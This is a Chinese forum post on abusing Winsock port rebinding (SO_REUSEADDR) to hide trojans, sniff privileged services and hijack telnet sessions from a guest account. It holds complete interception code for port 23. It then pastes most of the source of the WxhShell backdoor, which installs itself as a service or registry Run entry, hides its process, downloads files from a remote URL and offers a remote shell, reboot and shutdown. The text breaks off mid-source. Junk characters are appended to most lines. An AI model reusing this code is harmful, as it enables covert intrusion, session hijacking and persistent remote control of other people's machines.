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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +u|"q+p  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {0,b[  
t?"(Zb  
  saddr.sin_family = AF_INET; J%?5d:iN+  
SJ]6_4=y*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); P!79{8  
(_ G>dP_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |OeWM  
[q|W*[B:@  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 C>|.0:[%  
yksnsHs}d  
  这意味着什么?意味着可以进行如下的攻击: D>|`+=1'0"  
+,,(8=5 g  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /4T6Z[=s  
@T^FOTW  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) xX-r<:'tmi  
Krae^z9R  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Ao\P|K9MyL  
%,WH*")  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  DgT]Nty@b  
5Npxs&Ea  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ]hV!lG1_  
;`oK5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 fg LY{  
NVRzthg%c_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^]sb=Amw  
x'g4DYl  
  #include -J3~j kf  
  #include (RFH.iX  
  #include %*Ex2we&  
  #include    4s 7 RB  
  DWORD WINAPI ClientThread(LPVOID lpParam);   pg%(6dqK4  
  int main() ,ayEZ#4.m  
  { !=eNr<:V.  
  WORD wVersionRequested; $wAR cS  
  DWORD ret; Ba[,9l[  
  WSADATA wsaData; iyn9[>j e  
  BOOL val; Xf4~e(O  
  SOCKADDR_IN saddr; fG1iq<~  
  SOCKADDR_IN scaddr; # >k|^*\  
  int err; X\`']\l  
  SOCKET s; (iq>]-=<  
  SOCKET sc; 9s<4`oa  
  int caddsize; Cn/WNCzst&  
  HANDLE mt; ?9t4>xKn  
  DWORD tid;   u"&?u+1j  
  wVersionRequested = MAKEWORD( 2, 2 ); 1_t+lJI9j  
  err = WSAStartup( wVersionRequested, &wsaData ); pl).U#7`  
  if ( err != 0 ) { t+a.,$U  
  printf("error!WSAStartup failed!\n"); ^i|R6oO_5  
  return -1; MsXw 8D  
  } nYSe0w  
  saddr.sin_family = AF_INET; [2-n*a(q  
   *k7BE_&*0Z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 P<IDb%W  
Bf*>q*%B{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); G%sq;XT61  
  saddr.sin_port = htons(23); :^ywc O   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o MJ `_  
  { K T0t4XPM  
  printf("error!socket failed!\n"); Go{,< gm  
  return -1; " AUSgVE+h  
  } !~|-CF0z=  
  val = TRUE; S L 5k^|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 a U\|ZCH\]  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) R `ViRJh  
  { PcC@}3  
  printf("error!setsockopt failed!\n"); R ABw( b  
  return -1; >eA@s}_8  
  } Wh i#Ii~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]mMJ6n  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 42]7N3:'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Aax;0qGbH  
l~"T>=jq3  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) KAnV%j  
  { estiS  
  ret=GetLastError(); y7hDMQ c'  
  printf("error!bind failed!\n"); qt}M&=}8Q  
  return -1; kQmkS^R  
  } &Pb:P?I  
  listen(s,2); Kn:Ml4[;  
  while(1) #DgHF*GG+>  
  { e%cTFwX?n  
  caddsize = sizeof(scaddr); 94-BcN  
  //接受连接请求 +4-T_m/W/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Nbr$G=U  
  if(sc!=INVALID_SOCKET) 4fs d5#  
  { 'yPKQ/y$x  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 9 " q-Bb  
  if(mt==NULL) hY.i`sp*/  
  { ],SQD3~9  
  printf("Thread Creat Failed!\n"); Ysu\CZGX  
  break; CFh9@Nx  
  } jh oA6I  
  } #VrIU8Q7'  
  CloseHandle(mt); I6 ?(@,  
  } B,\VLX  
  closesocket(s); t}eyfflZ  
  WSACleanup(); ] :;x,$k  
  return 0; 67iI wY*8'  
  }   !Q[v"6?  
  DWORD WINAPI ClientThread(LPVOID lpParam) y2I7Zd .  
  { 5csh8i'V  
  SOCKET ss = (SOCKET)lpParam; D#LV&4e>.E  
  SOCKET sc; YJv$,Z&;HO  
  unsigned char buf[4096]; {]+t<  
  SOCKADDR_IN saddr; SyVGm@  
  long num; Wu{=QjgY  
  DWORD val; o*H U^  
  DWORD ret; >>J3"XHX  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1*=ev,Z  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   j"nOxs  
  saddr.sin_family = AF_INET; W+&5G(z~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); bvtpqI QZ  
  saddr.sin_port = htons(23); _H]^7`;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lBbb7*Ljt<  
  { P)K $+oo  
  printf("error!socket failed!\n"); ]QaKXg)3q  
  return -1; dO8 2T3T  
  } LJ[zF~4#  
  val = 100; e>z"{ u(F0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :rL%,o"  
  { 2#7|zhgb  
  ret = GetLastError(); Zkd{EMW  
  return -1; !uGfS' Vl  
  } Q7uJ9Y{X  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w&?XsO@0W  
  { nW)+-Wxq  
  ret = GetLastError(); p{L;)WTI  
  return -1; 1*8;)#%&  
  } cp@Fj"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2Xl+}M.:Y  
  { j+h+Y|4J  
  printf("error!socket connect failed!\n"); `xzKRId0  
  closesocket(sc); B4b'0p  
  closesocket(ss); !ekByD  
  return -1; #zl1#TC{(  
  } \!\:p/f  
  while(1) 0 SSdp<  
  { b11I$b #  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -LiGO#U  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Jb"FY:/Qv+  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 R@K\   
  num = recv(ss,buf,4096,0); 6o^>q&e}%  
  if(num>0) -{0Pq.v  
  send(sc,buf,num,0); M)ET 1ZM  
  else if(num==0) ,4H? +|!  
  break; WhW}ZS'r  
  num = recv(sc,buf,4096,0); ceG\Q2  
  if(num>0) hH`x*:Qja  
  send(ss,buf,num,0); y5sH7`2+5  
  else if(num==0) tLOGj?/r  
  break; {c*$i^T  
  } @l CG)Ix<  
  closesocket(ss); v8-My1toV  
  closesocket(sc);  Lw\u{E@  
  return 0 ; uU 7 <8G  
  } WPRk>j  
hq7f"`  
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========================================================== Rmw=~NP5  
]Uwp\2Bc  
下边附上一个代码,,WXhSHELL @4;'>yr(  
$L^%*DkM  
========================================================== 5$ =[x!x  
%!\=$s}g  
#include "stdafx.h" 5b:1+5iF-  
%AO6 =  
#include <stdio.h> 9&* 7+!  
#include <string.h> E,m|E]WP  
#include <windows.h> pX_  
#include <winsock2.h> U:*rlA@_.  
#include <winsvc.h> :Vxt2@p{  
#include <urlmon.h> fDsT@W,K  
o:#jvi84F  
#pragma comment (lib, "Ws2_32.lib") MUl`0H"tR  
#pragma comment (lib, "urlmon.lib") B[ZQn]y  
&^$@LH3  
#define MAX_USER   100 // 最大客户端连接数 PaSwfjOnqr  
#define BUF_SOCK   200 // sock buffer k)3N0]q6  
#define KEY_BUFF   255 // 输入 buffer QKP #wR  
yc*cT%?g  
#define REBOOT     0   // 重启 9CS" s_  
#define SHUTDOWN   1   // 关机 TIJH} Ri  
1e[?}q]*  
#define DEF_PORT   5000 // 监听端口 x~5,v5R^]  
8~(,qU8-N  
#define REG_LEN     16   // 注册表键长度 iOZ9A~Ywy  
#define SVC_LEN     80   // NT服务名长度 C[,h!  
@S3L%lOH  
// 从dll定义API ^Z)7Z% O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _9=87u0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `e ZDG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <ci(5M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7;p/S#P:  
J~K O#`  
// wxhshell配置信息 _AF$E"f@  
struct WSCFG { d[?RL&hJO  
  int ws_port;         // 监听端口 >c0leT  
  char ws_passstr[REG_LEN]; // 口令 O + aK#eF  
  int ws_autoins;       // 安装标记, 1=yes 0=no qVh?%c1.Y  
  char ws_regname[REG_LEN]; // 注册表键名 MX]#|hEeQ  
  char ws_svcname[REG_LEN]; // 服务名 7D<Aa?cv_l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "=Z=SJ1D  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h~Ir= JV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <*J"6x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @rT$}O1?`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" F2zo !a8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oqvu8"  
Ei:m@}g  
}; nN&dtjoF  
WblH}  
// default Wxhshell configuration QyA^9@iVs  
struct WSCFG wscfg={DEF_PORT, M%:\ry4:  
    "xuhuanlingzhe", yreH/$Ou 8  
    1, 0 @#Jz#?  
    "Wxhshell", GOxP{d?  
    "Wxhshell", OD}Uc+;K  
            "WxhShell Service", =EVB?k ,  
    "Wrsky Windows CmdShell Service", OF*E1B M  
    "Please Input Your Password: ", D% *ww'mt0  
  1, R7IFlQH%  
  "http://www.wrsky.com/wxhshell.exe", s[7$%|~W  
  "Wxhshell.exe" h*^JFZb  
    }; ]A[}:E 5}  
M+")*Opq  
// 消息定义模块 ozsd6&z5l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r } Wdj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cl`kd)"v  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /mJb$5=1  
char *msg_ws_ext="\n\rExit."; \ 3E%6L  
char *msg_ws_end="\n\rQuit."; \#biwX  
char *msg_ws_boot="\n\rReboot..."; T ^eD  
char *msg_ws_poff="\n\rShutdown..."; yE N3/-S+  
char *msg_ws_down="\n\rSave to "; ,sj(g/hg  
c k[uvH   
char *msg_ws_err="\n\rErr!"; `%|3c  
char *msg_ws_ok="\n\rOK!"; 1?)h-aN  
%ly&~&0  
char ExeFile[MAX_PATH]; q>%.zc[x  
int nUser = 0; rui 8x4c  
HANDLE handles[MAX_USER]; '\QJ{/JV  
int OsIsNt; :JBt qpo2  
j 7);N  
SERVICE_STATUS       serviceStatus; [|$C2Dhw=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; GF@` ~im  
ug}u>vQ>  
// 函数声明 :{eYm|2-  
int Install(void); sz%]rN6$  
int Uninstall(void); [GCaRk>b,  
int DownloadFile(char *sURL, SOCKET wsh); D+AkV|  
int Boot(int flag); wy|b Hkr_  
void HideProc(void); i*l =xW;bM  
int GetOsVer(void); : HU|BJ>  
int Wxhshell(SOCKET wsl); [2Y@O7;n I  
void TalkWithClient(void *cs); w:I!{iX  
int CmdShell(SOCKET sock); _$A?  
int StartFromService(void); <b~~X`Z  
int StartWxhshell(LPSTR lpCmdLine); VSO(DCr"L  
,V!Wo4M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YA+R!t:F{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); d?5oJ'JU  
F'wG%  
// 数据结构和表定义 9[~.{{Y  
SERVICE_TABLE_ENTRY DispatchTable[] = OtAAzc!dQ  
{ T g(\7Kq  
{wscfg.ws_svcname, NTServiceMain}, e2%mD.I  
{NULL, NULL} 0f_`;{  
}; GS>YfJ&DZ  
.5SYN -@  
// 自我安装 @(6P L^I  
int Install(void) iqoMQ7%  
{ tw 3zw`o:  
  char svExeFile[MAX_PATH]; owa&HW/_  
  HKEY key; sOz {spA  
  strcpy(svExeFile,ExeFile); bWp)'mx5u  
(3K,f4S@  
// 如果是win9x系统,修改注册表设为自启动 /^K-tz-R  
if(!OsIsNt) { eF0FQlMe[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U |eh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wk?i\vm  
  RegCloseKey(key); 6e|uA7i4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D1ik*mDA=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e~he#o[%a  
  RegCloseKey(key); wKcuIc$  
  return 0; {Gh9(0,B?  
    } jc32s}/H  
  } +u |SX/C  
} m+dQBsz\  
else { g^:`h VV  
oG hMO  
// 如果是NT以上系统,安装为系统服务 s,mt%^x[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5%K|dYv^^  
if (schSCManager!=0)  !Qsjn  
{ b5~p:f-&4B  
  SC_HANDLE schService = CreateService i u0'[  
  ( CZ^ ,bad  
  schSCManager, ]"O* &  
  wscfg.ws_svcname, u!HbS*jqq  
  wscfg.ws_svcdisp, Ke[`zui@?  
  SERVICE_ALL_ACCESS, <v\$r2C*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r_8;aPL  
  SERVICE_AUTO_START, FBrh!vQ<  
  SERVICE_ERROR_NORMAL, ifl LY7j  
  svExeFile, d BM{]@bZ  
  NULL, \,m*CYs`  
  NULL, hZ|0<u  
  NULL, -:!Wds  
  NULL, r|z B?9Q  
  NULL 00-2u~D&  
  ); Om;` "5  
  if (schService!=0) J`; 9Z  
  { K4RQ{fWpm  
  CloseServiceHandle(schService); >CcDG  
  CloseServiceHandle(schSCManager); c[3x>f0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); klc$n07  
  strcat(svExeFile,wscfg.ws_svcname); H:Q4!<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { benqm ~{\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); i}f"'KW  
  RegCloseKey(key); O#{`Fj`  
  return 0; GAs.?JHd  
    } D2Q0p(#%  
  } 7uu\R=$  
  CloseServiceHandle(schSCManager); SgN?[r)  
} vXM {)  
} ]R^xO;g'  
1;,<UHF8N  
return 1; ZBH^0  
} x*X{*?5@  
AnE] kq u  
// 自我卸载 roi,?B_8  
int Uninstall(void) 7 > _vH]  
{ FLG{1dS  
  HKEY key; 0=9$k  
q&:%/?)x  
if(!OsIsNt) { IQ$6}.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wZ`*C mr  
  RegDeleteValue(key,wscfg.ws_regname); ]X X>h~0  
  RegCloseKey(key); {EVy.F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^mut-@ N9  
  RegDeleteValue(key,wscfg.ws_regname); !F Zg' 9  
  RegCloseKey(key); zlkW-rRkR  
  return 0; R%9,.g <  
  } w%oa={x  
} p9MJa[}V  
} '!MKZKer  
else { LOwd mj  
3<1x>e2nT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L|'B*  
if (schSCManager!=0) 05jjLM'e  
{ bq8h?Q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); QM~~b=P,\  
  if (schService!=0) ssH[\i  
  { #7YJ87<E  
  if(DeleteService(schService)!=0) { gTLBR  
  CloseServiceHandle(schService); F{ C2% s#  
  CloseServiceHandle(schSCManager); G~ 4G$YL*  
  return 0; wq8&2(|Fc  
  } h >Z`&  
  CloseServiceHandle(schService); _0ZBG(  
  } (7$BF~s:,  
  CloseServiceHandle(schSCManager); Nn?$}g  
} xbCQ^W2YU|  
} ^8dCFw.rU  
]1[:fQF7/L  
return 1; .E7"Lfs-  
} r&F 6ZCw  
<<Z, 1{3F  
// 从指定url下载文件 >$a;+v  
int DownloadFile(char *sURL, SOCKET wsh) g<$2#c}  
{ I;UT; /E2  
  HRESULT hr; Q^xk]~G$(  
char seps[]= "/"; m G+=0Rn^  
char *token; "kVzN22  
char *file; [e{W:7uFV  
char myURL[MAX_PATH]; *.T?#H  
char myFILE[MAX_PATH]; )tS;gn  
R`Hy0;X  
strcpy(myURL,sURL);  BJg  
  token=strtok(myURL,seps); mO8/eVws[M  
  while(token!=NULL) /*M3Ns1@2  
  { aej'cbO  
    file=token; wL>;_KdU`  
  token=strtok(NULL,seps); gr@Ril^  
  } I;G(Wj  
j^hLn >  
GetCurrentDirectory(MAX_PATH,myFILE); 0fqycGSmU  
strcat(myFILE, "\\"); ao|n<*}  
strcat(myFILE, file); e3[Q6d&|  
  send(wsh,myFILE,strlen(myFILE),0); {/,AMJ<:G]  
send(wsh,"...",3,0); _~F 0i?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =)w#?DGpj  
  if(hr==S_OK) wAL}c(EHO  
return 0; #veV {,g  
else p|BoEITL  
return 1; %E [HMq<H  
U: )Gc  
} k7cY^&o  
Wu$yB!  
// 系统电源模块 V"}Jsr  
int Boot(int flag) BP\6N%HC%&  
{ +NiCt S  
  HANDLE hToken; /fAAQ7  
  TOKEN_PRIVILEGES tkp; K(WKx7Kky^  
~zWLqnS}  
  if(OsIsNt) { hp2$[p6O  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h b8L[ 4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y3PrLBTz  
    tkp.PrivilegeCount = 1; ;=6EBP%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,^DP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); B^d di  
if(flag==REBOOT) { A<(DYd1H  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ea-U+7JC  
  return 0; Qam48XZ >  
} _8\B~;0  
else { +!$`0v   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }WBHuVcZG  
  return 0; q1ZZ T"'  
} ojA!!Ru  
  } Ap4.c8f?Q-  
  else { $~%h4  
if(flag==REBOOT) { 4x#tUzb;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) lXzm)  
  return 0; 33&\E- Q>  
} _c5*9')-)  
else { 4:/^.:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) - leYR`P  
  return 0; |f.,fVVV;  
} XGjFb4Tw7  
} {OOn7=  
$ \o)-3  
return 1; tvq((2  
} F!*GrQms  
?zbWz=nq  
// win9x进程隐藏模块 k_Y7<z0G  
void HideProc(void) es=OWJt^  
{ Ki&a"Fu3  
YBF$/W+=9|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9QL%q; #  
  if ( hKernel != NULL ) Zs,6}m\  
  { WJ[>p ELT,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4%I[.dBnM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SQ/HZ  
    FreeLibrary(hKernel); }6=)w@v  
  } A5%$<  
,H^!G\  
return; brlbJFZ19  
} 18Ju]U  
Gzg3{fXl  
// 获取操作系统版本 i$<")q  
int GetOsVer(void) ou<,c?nNM  
{ j2.7b1s  
  OSVERSIONINFO winfo; Fop +xR,Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,LxkdV  
  GetVersionEx(&winfo); TY'61xWi  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) IOY7w"|LW  
  return 1; /SQ/$`1{  
  else KC9e{  
  return 0; fGRV]6?V  
} 4"\cA:9a  
.aVtd [  
// 客户端句柄模块 3d olrW  
int Wxhshell(SOCKET wsl) Re %dNxJ=  
{ U~;tk@  
  SOCKET wsh; +lhCF*@*N  
  struct sockaddr_in client; %H2ios[UO  
  DWORD myID; o P;6i  
&g1\0t  
  while(nUser<MAX_USER) c"pOi&  
{ Mw)6,O`  
  int nSize=sizeof(client); cUdS{K&K  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J_m@YkK  
  if(wsh==INVALID_SOCKET) return 1; dM P'Vnfj  
GG +T-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n${k^e-=  
if(handles[nUser]==0) r\Yh'cRW{  
  closesocket(wsh);  KLE)+|  
else Jmi,;Af'/  
  nUser++; c %Cbq0+2  
  } HEIg_6sb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *f`P7q*  
\g h |G  
  return 0; _L$a[zH  
} PLMC<4$s  
Ki7t?4YE  
// 关闭 socket ,sL%Ykr  
void CloseIt(SOCKET wsh) !2Z"Lm  
{ 85;bJfY  
closesocket(wsh); SgehOu  
nUser--; n+te5_F  
ExitThread(0); jlFlhj:/I  
} di0@E<@1:  
L$.3,./  
// 客户端请求句柄  0yq  
void TalkWithClient(void *cs) vv{+p(~**O  
{ 4KnBb_w  
zB~ <@  
  SOCKET wsh=(SOCKET)cs; w D r/T3  
  char pwd[SVC_LEN]; "42/P4:  
  char cmd[KEY_BUFF]; |%mZ|,[  
char chr[1]; ?+.C@_QZQ  
int i,j; 2zW IB[  
nPqpat`E  
  while (nUser < MAX_USER) { .9PT)^2  
) ba~7A  
if(wscfg.ws_passstr) { lv'WRS'}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '?L^Fa_H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kLZVTVSJt  
  //ZeroMemory(pwd,KEY_BUFF); ]+W){W=ai  
      i=0; O=(F46 M  
  while(i<SVC_LEN) { q!@!eC[b  
ZH9Fs'c=  
  // 设置超时 J{Kw@_ypP  
  fd_set FdRead; b \ln XN  
  struct timeval TimeOut; ?4Rd4sIM$u  
  FD_ZERO(&FdRead); V|$PO Qa3  
  FD_SET(wsh,&FdRead); p?,<{mAe  
  TimeOut.tv_sec=8; "wTCO1  
  TimeOut.tv_usec=0; o5NmNOXm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :Ev gUA\4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); G[yzi  
hr6j+p:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }&e HU  
  pwd=chr[0]; C49\'1\6  
  if(chr[0]==0xd || chr[0]==0xa) { X.k8w\~  
  pwd=0; V<jj'dZfW  
  break; J&,hC%]  
  } %oTBh*K'o  
  i++; Q47R`"  
    } 3mo4;F,h9  
_lwKa, }  
  // 如果是非法用户,关闭 socket a*U[;(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jTIG#J)  
} ~$5XiY8A  
Kq-1  b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "g&f:[a/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c&',#.9  
p TwzVz~  
while(1) { 8Sj<,+XFq  
wGKxT ap  
  ZeroMemory(cmd,KEY_BUFF); <TtPwUX  
abR<( H12  
      // 自动支持客户端 telnet标准   zdRVAcrwQ  
  j=0; tJrGRlB>  
  while(j<KEY_BUFF) { #NYnZ^6e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); : #CWiq("%  
  cmd[j]=chr[0]; *YvtT (Gt  
  if(chr[0]==0xa || chr[0]==0xd) { ;'8P/a$  
  cmd[j]=0; \2 N;V E  
  break; %bN{FKNN  
  } LkS tU)  
  j++; |<,qnf | -  
    } vu\W5M  
'kt6%d2  
  // 下载文件  Jc ze.t  
  if(strstr(cmd,"http://")) { D5@=#/?*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ofQs /  
  if(DownloadFile(cmd,wsh)) O0L]xr  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *m+FMyr  
  else 9U6$-]J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \EVT*v=}/  
  } s0f+AS|}  
  else { p7;K] AW  
@gK`RmhGE5  
    switch(cmd[0]) { D!,5j_,j%  
  K}re{y  
  // 帮助 mnK<5KLg1  
  case '?': { JR.)CzC  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xOj#%;  
    break; v.Bwg 7R3  
  } C?gqX0[ q  
  // 安装 HJ 7A/XW  
  case 'i': { rCDt9o>  
    if(Install()) ]?@ [Ny=0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y:TfD{Xgc  
    else QjY}$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =f!A o:Uc  
    break; RxYENG]/6  
    } %QEBY>|lI  
  // 卸载 bTimJp[b  
  case 'r': { C`i#7zsH  
    if(Uninstall()) X1.-C@o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KqntOo} y)  
    else 0<!9D):Bb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -^m?%_<50l  
    break; 6)uBUM;i  
    } 5tbCx!tL  
  // 显示 wxhshell 所在路径 0q"4\#4l  
  case 'p': { `KA==;0  
    char svExeFile[MAX_PATH]; =M;F&;\8  
    strcpy(svExeFile,"\n\r"); $5 mGYF]  
      strcat(svExeFile,ExeFile); 3Jizv,?  
        send(wsh,svExeFile,strlen(svExeFile),0); SqPqL<,e  
    break; ?g+3 URpK  
    } lz#.f,h  
  // 重启 7gf(5p5ZV  
  case 'b': { q=88*Y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (x2?{\?  
    if(Boot(REBOOT)) NgyEy n \  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QvZ"{  
    else { FJtmRPP[r  
    closesocket(wsh); #U`AK9rP_g  
    ExitThread(0); 1*hEbO  
    } _dd! nU\A|  
    break; kiM:(=5  
    } 8)9-*Bzj   
  // 关机 YXWDbr:JX  
  case 'd': { U| Fqna  
